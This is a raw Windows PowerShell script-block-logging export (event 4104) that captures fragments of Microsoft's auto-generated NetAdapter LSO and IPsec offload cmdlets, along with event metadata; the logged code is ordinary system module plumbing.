$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:ModifyInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $PSBoundParameters.ContainsKey('PassThru') -and $PassThru
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterLso.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-NetAdapterLso' -Alias '*'
function Enable-NetAdapterLso
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterLsoSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${IPv4},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${IPv6},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('IPv4')) {
[object]$__cmdletization_value = ${IPv4}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPv4'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPv4'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('IPv6')) {
[object]$__cmdletization_value = ${IPv6}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPv6'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPv6'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Enable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exce
ScriptBlock ID: 82795d95-a9c6-4354-afb6-95d6012201f0
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1926 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0004-1e29-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 3):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetAdapterLsoSettingData'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-NetAdapterLso
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterLsoSettingData')]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterLso.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetAdapterLso' -Alias '*'
function Set-NetAdapterLso
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterLsoSettingData')]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterLsoSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[bool]
${V1IPv4Enabled},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[bool]
${IPv4Enabled},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[bool]
${IPv6Enabled},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('V1IPv4Enabled')) {
[object]$__cmdletization_value = ${V1IPv4Enabled}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'V1IPv4Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'V1IPv4Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('IPv4Enabled')) {
[object]$__cmdletization_value = ${IPv4Enabled}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPv4Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPv4Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('IPv6Enabled')) {
[object]$__cmdletization_value = ${IPv6Enabled}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletiz
ScriptBlock ID: 82795d95-a9c6-4354-afb6-95d6012201f0
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1925 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0004-1e29-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 3):
cationInfo]::new('Enable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterIPsecOffload.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Enable-NetAdapterIPsecOffload' -Alias '*'
function Disable-NetAdapterIPsecOffload
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Low', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterIPsecOffloadV2SettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Disable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
